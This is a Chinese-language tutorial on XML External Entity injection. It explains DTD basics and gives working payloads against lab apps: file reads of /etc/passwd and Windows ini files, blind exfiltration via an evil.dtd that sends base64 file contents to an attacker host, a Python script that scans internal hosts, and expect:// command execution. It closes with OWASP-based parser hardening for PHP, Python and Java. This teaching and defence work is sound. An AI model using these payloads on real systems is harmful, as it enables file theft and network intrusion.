XXE基础 XXE概述 XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
XML基础 XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
文档结构 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> //XML声明 <!DOCTYPE note [ //文档类型定义 <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> //文档元素 <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
DTD DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
DTD声明 内部声明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
外部声明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0"?> <!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> -------------------------------------------------------------------- #http://127.0.0.1/note.dtd的内容为 <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
DTD实体 构成DTD的叫做DTD实体,包括内部实体和外部实体。
内部和外部实体中,又有一般实体和参数实体
一般实体: 引用方式:&实体名;
参数实体: 引用方式:%实体名;
注意参数实体只能在DTD中申明,DTD中引用;
1 2 3 4 5 6 7 8 <!DOCTYPE message [ <!ENTITY normal "hello"> <!-- 内部一般实体 --> <!ENTITY % normal2 "hello"> <!-- 内部参数实体 --> <!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部一般实体 --> <!ENTITY % normal4 SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 --> %normal4; <!-- 引用参数实体 --> ]> <message>&normal;</message> <!-- 引用一般实体 -->
参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML实体编码,否则会出现解析错误。
1 2 3 4 <!DOCTYPE test [ <!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'> ]> <message>&files;</message>
XXE原理 XXE即XML外部实体注入 。和sql注入一样,进行xml修改成恶意代码后,xml解析器解析了恶意代码造成XXE。
利用方式 方式一: 直接通过DTD外部实体声明 1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b SYSTEM "file:///etc/passwd"> ]> <a>&b;</a>
方式二:通过DTD文档引入外部DTD文档中的外部实体声明 1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE Quan SYSTEM "http://ip/eval.dtd"> <hhh>&f;<hhh> #DTD文件内容: <!ENTITY f SYSTEM "file:///etc/passwd">
方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明 1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "http://ip/eval.dtd"> ]> <hhh>&f;<hhh> #Quan.dtd的外部实体声明内容: <!ENTITY f SYSTEM "file:///etc/passwd">
XXE的分类 XXE分成了三类,正常回显XXE、报错XXE和Blind XXE
一、有回显XXE 示例:1.php
1 2 3 4 5 6 7 8 <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
结果:
有时实体内包含了些字符,如&,<,>,”,’等。这些均需要对其进行转义,否则会对XML解释器生成错误,这时候就可以利用CDATA或者base64编码来绕过。
1.可以使用base64编码
payload
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test[ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/system.ini"> ]> <test>&file;</test>
结果:
2.使用CDATA
CDATA的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///c:/windows/system.ini"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> #evil.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
结果
二、无回显XXE 修改1.php
1 2 3 4 5 6 <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
evil.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://IP/evil.dtd"> %dtd;%int;%send; ]>
结果
XXE的挖掘思路 检测xml是否被解析
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY dog "this is dog"> ]> <root>&dog;</root>
检测是否支持外部实体
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % dog SYSTEM "http://ip:9999"> %dog; ]>
xxe-lab-php 有回显XXE利用 在登陆点抓一个包
payload
1 2 3 4 5 6 <?xml version="1.0"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&goodies;</username> <password>yang</password></user>
结果:
注意点必须要把获取的数据写入username标签,因为这里的输出是username标签的
无回显XXE利用 注释echo
payload
1 2 3 4 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://192.168.31.144/test.dtd"> %dtd;%int;%send; ]>
test.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.31.144:9999?p=%file;'>">
结果:
内网存活主机扫描 可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,这样我们就能拿到网段了
利用python2脚本探测存活主机:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # -*- coding: utf-8 -*- import requests import base64 def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://192.168.12.130/xxe-lab/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] print coded_string # print base64.b64decode(coded_string) for i in range(129, 135): try: i = str(i) #此处填写网段 ip = '192.168.12.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue
结果,可以看到130主机在线
HTTP端口扫描 payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY test SYSTEM "http://192.168.202.130:80"> ]> <reset><login>&test;</login><secret>cc</secret></reset>
结果
后面放到Intruder中爆破即可,根据页面长度或响应时间
执行系统命令 payload,前提是要开启expect拓展
1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE tets[ <!ENTITY f SYSTEM "expect://执行的命令"> ]> <hhh>&f;<hhh>
xxe-lab-java 搭建好之后,访问
payload
1 2 3 4 5 6 <?xml version="1.0"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&goodies;</username> <password>CC</password></user>
结果
ssrf-payload
1 2 3 4 5 6 <?xml version="1.0"?> <!DOCTYPE creds [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080"> ]> <user><username>&xxe;</username> <password>CC</password></user>
XXE修复 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
使用正确的方法:
代码层防范(PHP) 1 libxml_disable_entity_loader(true);
代码层防范(Python) 1 2 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
代码层防范(Java) 使用 XML 库的 Java 应用程序特别容易受到 XXE 的攻击,因为大多数 Java XML 解析器的默认设置是启用 XXE。 要安全地使用这些解析器,您必须在您使用的解析器中显式禁用 XXE。 下面介绍如何在 Java 最常用的 XML 解析器中禁用 XXE。
JAXP DocumentBuilderFactory、SAXParserFactory 和 DOM4J
DocumentBuilderFactory,
SAXParserFactory
和 DOM4J
XML
解析器可以使用相同的技术进行配置,以保护它们免受 XXE 的侵害。
只有 DocumentBuilderFactory
此处提供了示例。JAXP DocumentBuilderFactory
setFeature 方法允许开发人员控制启用或禁用哪些特定于实现的 XML 处理器功能。
这些功能既可以在工厂设置,也可以在底层设置 XMLReader
setFeature 方法。
DocumentBuilder 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.ParserConfigurationException; DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = null; try { FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); FEATURE = "http://xml.org/sax/features/external-general-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://xml.org/sax/features/external-parameter-entities"; dbf.setFeature(FEATURE, false); FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; dbf.setFeature(FEATURE, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); logger.info("ParserConfigurationException was thrown. The feature '" + FEATURE + "' is probably not supported by your XML processor."); ... } catch (SAXException e) { logger.warning("A DOCTYPE was passed into the XML document"); } catch (IOException e) { logger.error("IOException occurred, XXE may still possible: " + e.getMessage()); ... } DocumentBuilder safebuilder = dbf.newDocumentBuilder();
对于语法突出显示的示例代码片段,使用 SAXParserFactory
SAXParserFactory 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.xml.parsers.ParserConfigurationException; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; import org.xml.sax.SAXNotRecognizedException; import org.xml.sax.SAXNotSupportedException; import org.xml.sax.XMLReader; SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader reader = saxParser.getXMLReader(); try { spf.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); } catch (ParserConfigurationException e) { } catch (SAXNotRecognizedException e) { } catch (SAXNotSupportedException e) { } catch ... { }
StAX 解析器,例如 XMLInputFactory
允许设置各种属性和功能。保护 Java XMLInputFactory
来自 XXE,请执行以下操作:
1 2 xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
Oracle DOM 解析器 ,遵循 Oracle 推荐, 例如:
DOMParser 1 2 3 4 DOMParser domParser = new DOMParser(); domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false); domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj); domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12);
为了保护一个 javax.xml.transform.TransformerFactory
来自 XXE,请执行以下操作:
1 2 3 TransformerFactory tf = TransformerFactory.newInstance(); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
为了保护一个 javax.xml.validation.Validator
来自 XXE,请执行以下操作:
validator 1 2 3 4 5 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); Schema schema = factory.newSchema(); Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
为了保护一个 javax.xml.validation.SchemaFactory
来自 XXE,请执行以下操作:
SchemaFactory 1 2 3 4 SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); Schema schema = factory.newSchema(Source);
为了保护一个 javax.xml.transform.sax.SAXTransformerFactory
来自 XXE,请执行以下操作:
1 2 3 4 SAXTransformerFactory sf = SAXTransformerFactory.newInstance(); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); sf.newXMLFilter(Source);
保护 Java org.xml.sax.XMLReader
来自 XXE,请执行以下操作:
XMLReader 1 2 3 4 5 XMLReader reader = XMLReaderFactory.createXMLReader(); reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
保护 Java org.dom4j.io.SAXReader
来自 XXE,请执行以下操作:
saxReader 1 2 3 saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
保护 Java org.jdom2.input.SAXBuilder
来自 XXE,请执行以下操作:
SAXBuilder 1 2 3 4 5 6 SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); builder.setFeature("http://xml.org/sax/features/external-general-entities", false); builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); builder.setExpandEntities(false); Document doc = builder.build(new File(fileName));
对于需要 EntityResolver
,您可以通过 来抵消 XML 解析器解析实体的能力:
1 2 3 4 5 6 7 public final class NoOpEntityResolver implements EntityResolver { public InputSource resolveEntity(String publicId, String systemId) { return new InputSource(new StringReader("")); } } xmlReader.setEntityResolver(new NoOpEntityResolver()); documentBuilder.setEntityResolver(new NoOpEntityResolver());
或更简单地说:
1 2 3 EntityResolver noop = (publicId, systemId) -> new InputSource(new StringReader("")); xmlReader.setEntityResolver(noop); documentBuilder.setEntityResolver(noop);
由于一个 javax.xml.bind.Unmarshaller
解析 XML 并且不支持任何禁用 XXE 的标志,必须首先通过可配置的安全解析器解析不受信任的 XML,作为结果生成源对象,并将源对象传递给 Unmarshaller。 例如:
Unmarshaller 1 2 3 4 5 6 7 8 9 SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml))); JAXBContext jc = JAXBContext.newInstance(Object.class); Unmarshaller um = jc.createUnmarshaller(); um.unmarshal(xmlSource);
一种 javax.xml.xpath.XPathExpression
无法自行安全配置,因此不可信数据必须先通过另一个安全的 XML 解析器进行解析
XPathExpression 1 2 3 4 5 6 DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); DocumentBuilder builder = df.newDocumentBuilder(); String result = new XPathExpression().evaluate( builder.parse( new ByteArrayInputStream(xml.getBytes())) );
java.beans.XMLDecoder
的 readObject() 此类中 方法从根本上是不安全的。
不仅它解析的 XML 受 XXE 约束,而且该方法可用于构造任何 Java 对象,并 执行此处描述的任意代码 。
除了信任或正确验证传递给它的输入之外,没有办法安全地使用这个类。
因此,我们强烈建议完全避免使用此类,并使用本备忘单中其他地方所述的安全或正确配置的 XML 解析器替换它。
参考 https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
https://blog.csdn.net/weixin_45382656/article/details/118565084?spm=1001.2014.3001.5501